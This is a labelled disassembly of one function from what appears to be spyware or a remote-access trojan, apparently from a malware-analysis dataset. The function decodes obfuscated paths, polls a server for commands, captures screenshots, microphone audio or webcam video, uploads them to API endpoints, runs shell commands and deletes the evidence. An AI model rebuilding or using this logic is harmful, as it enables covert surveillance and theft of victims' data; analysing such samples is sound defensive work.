Function at 0x140003a96
Capabilities:
Execute command
Self delete

Disassembly:
push rbp
push rdi
mov eax, 0x3088
call fcn.140006850
sub rsp, rax
lea rbp, [rsp + 0x80]
mov rax, qword [0x1400121d0]
mov rdi, qword [rax]
mov qword [rbp + 0x2ff8], rdi
xor edi, edi
lea rax, [0x1400109a3]
mov qword [rbp - 0x48], rax
movabs rax, 0x6900700061002f
movabs rdx, 0x7400650067002f
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x7400650073005f
movabs rdx, 0x6d006d006f0043
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x730064006e0061
movabs rdx, 0x3d00640069003f
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
lea rdx, [rbp + 0x20]
mov eax, 0
mov ecx, 0xfa
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x7f0]
mov r8d, 0x800
lea rdx, [0x14001c040]
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
lea rdx, [rbp + 0x7f0]
lea rax, [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_wcscat
lea rax, [rbp - 0x10]
mov rdx, rax
lea rax, str._ls_n
mov rcx, rax
call fcn.140001531
lea rax, str._api_wms_screenshot
mov qword [rbp - 0x40], rax
lea rax, str._api_wms_record_mic
mov qword [rbp - 0x38], rax
lea rax, str._api_wms_webcam_video
mov qword [rbp - 0x30], rax
lea rax, str._api_remoteAcess_shell
mov qword [rbp - 0x28], rax
lea rax, str.4UwtlwfrIfyf4qtlx3yy
mov rcx, rax
call fcn.140001585
mov rcx, rax
lea rax, [0x14001034b]
mov rdx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140003bd5
call fcn.14000491b
mov rax, qword [rbp - 0x20]
mov r8, rax
mov edx, 0x400
lea rax, [0x14001c040]
mov rcx, rax
call sub.msvcrt.dll_fgets
lea rax, str.4UwtlwfrIfyf4xhwjjsxmty3gru
mov rcx, rax
call fcn.140001585
mov rcx, rax
lea rax, [0x14001034b]
mov rdx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140003c97
lea rax, str.4UwtlwfrIfyf4xhwjjsxmty3gru
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rcx, [rbp + 0xff0]
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 0x2000
mov r8, rcx
lea rdx, str.screenshot
mov rcx, rax
call fcn.140001984
mov dword [rbp - 0x50], eax
cmp dword [rbp - 0x50], 0
jne 0x140003c6e
lea rax, str.Error_sending_screenshot
mov rcx, rax
call fcn.140001493
lea rax, str.del_c:ProgramData_screenshot.bmp
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, [rbp + 0xff0]
mov r8d, 0x2000
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
cmp qword [rbp - 0x20], 0
je 0x140003caa
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_fclose
cmp qword [rbp - 0x18], 0
je 0x140003cbd
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_fclose
lea rax, str.sending_get_request
mov rcx, rax
call fcn.140001493
lea rdx, [rbp + 0xff0]
lea rax, [rbp - 0x10]
mov r8d, 0x2000
mov rcx, rax
call fcn.140001cd6
mov dword [rbp - 0x50], eax
lea rax, str.YFPJdXHWJJSXMTY
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rax, [rbp + 0xff0]
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140003d85
lea rax, [rbp + 0xff0]
mov rdx, rax
lea rax, str.command__s
mov rcx, rax
call fcn.140001493
call fcn.140002fa9
lea rax, str.4UwtlwfrIfyf4xhwjjsxmty3gru
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rcx, [rbp + 0xff0]
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 0x2000
mov r8, rcx
lea rdx, str.screenshot
mov rcx, rax
call fcn.140001984
mov dword [rbp - 0x50], eax
lea rax, str.ijq_h_aUwtlwfrIfyfaxhwjjsxmty3gru
mov rcx, rax
call fcn.140001585
mov rcx, rax
call sub.msvcrt.dll_system
jmp 0x140003f79
lea rax, str.WJHTWIdRNH
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rax, [rbp + 0xff0]
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140003e32
lea rax, [rbp + 0xff0]
mov rdx, rax
lea rax, str.command__s
mov rcx, rax
call fcn.140001493
mov dword [rbp - 0x4c], 0xa
mov eax, dword [rbp - 0x4c]
mov ecx, eax
call fcn.140003509
lea rax, str.4UwtlwfrIfyf4wjhtwijidfzint3f
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rcx, [rbp + 0xff0]
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x20], rdx
mov r9d, 0x2000
mov r8, rcx
lea rdx, str.recorded_audio
mov rcx, rax
call fcn.140001984
mov dword [rbp - 0x50], eax
lea rax, str.ijq_h_aUwtlwfrIfyfawjhtwijidfzint3f
mov rcx, rax
call fcn.140001585
mov rcx, rax
call sub.msvcrt.dll_system
jmp 0x140003f79
lea rax, str.WJHTWIdJGHFRd_NIJT
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rax, [rbp + 0xff0]
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140003ee1
lea rax, [rbp + 0xff0]
mov rdx, rax
lea rax, str.command__s
mov rcx, rax
call fcn.140001493
call fcn.140002728
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.4UwtlwfrIfyf4jghfrdnijt3fn
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rcx, [rbp + 0xff0]
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 0x2000
mov r8, rcx
lea rdx, str.webcam_video
mov rcx, rax
call fcn.140001984
mov dword [rbp - 0x50], eax
lea rax, str.ijq_h_aUwtlwfrIfyfajghfrdnijt3fn
mov rcx, rax
call fcn.140001585
mov rcx, rax
call sub.msvcrt.dll_system
jmp 0x140003f79
lea rax, str.XMJQQdHTRRFSI
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rax, [rbp + 0xff0]
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140003f79
lea rax, [rbp + 0xff0]
mov rdx, rax
lea rax, str.command__s
mov rcx, rax
call fcn.140001493
call fcn.1400044fc
lea rax, str.4UwtlwfrIfyf4wjxzqy3yy
mov rcx, rax
call fcn.140001585
mov rdx, rax
lea rcx, [rbp + 0xff0]
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x20], rdx
mov r9d, 0x2000
mov r8, rcx
lea rdx, str.webcam_video
mov rcx, rax
call fcn.140001984
mov dword [rbp - 0x50], eax
lea rax, str.4UwtlwfrIfyf4wjxzqy3yy
mov rcx, rax
call fcn.140001585
mov rcx, rax
call sub.msvcrt.dll_system
nop
mov rax, qword [0x1400121d0]
mov rdi, qword [rbp + 0x2ff8]
sub rdi, qword [rax]
je 0x140003f93
call fcn.140005780
nop
add rsp, 0x3088
pop rdi
pop rbp
ret